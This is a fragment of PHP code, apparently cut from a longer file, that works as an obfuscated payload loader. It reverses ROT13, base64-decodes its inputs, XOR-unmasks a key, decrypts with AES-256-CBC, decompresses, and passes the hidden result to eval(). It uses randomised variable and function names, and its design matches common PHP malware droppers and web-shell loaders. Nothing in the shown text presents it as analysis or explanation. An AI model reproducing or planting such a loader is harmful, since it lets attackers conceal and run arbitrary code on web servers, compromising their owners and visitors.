'deflate', 'rot13' => true, 'cipher' => 'aes-256-cbc', ); // Decoding pipeline function LFcGlHiUNymL($p, $kobf, $ivobf, $ok, $m){ // simple xor un-obfuscation $xor = function($d, $k){$o='';for($i=0,$l=strlen($d);$i<$l;$i++)$o .= chr(ord($d[$i]) ^ ord($k[$i % strlen($k)]));return $o;}; if(!is_string($p) || !is_string($kobf) || !is_string($ivobf) || !is_string($ok)) return false; if($m['rot13']) { $p = str_rot13($p); } $enc = base64_decode($p); $key = base64_decode($kobf); $iv = base64_decode($ivobf); $key = $xor($key, $ok); $iv = $xor($iv, $ok); $plain = openssl_decrypt($enc, $m['cipher'], $key, OPENSSL_RAW_DATA, $iv); if($plain === false) { die('Decryption failed: '.openssl_error_string()); } if($m['compress'] === 'deflate') { $plain = gzinflate($plain); if($plain === false) die('Decompression failed.'); } return $plain; } $__payload_php = LFcGlHiUNymL($nKzCvgNAKy, $YcvnFzlpFY, $awVYehAEco, $UnsMUySV, $meta); if($__payload_php === false) { die('Failed to recover payload.'); } eval('?>'.$__payload_php); ?>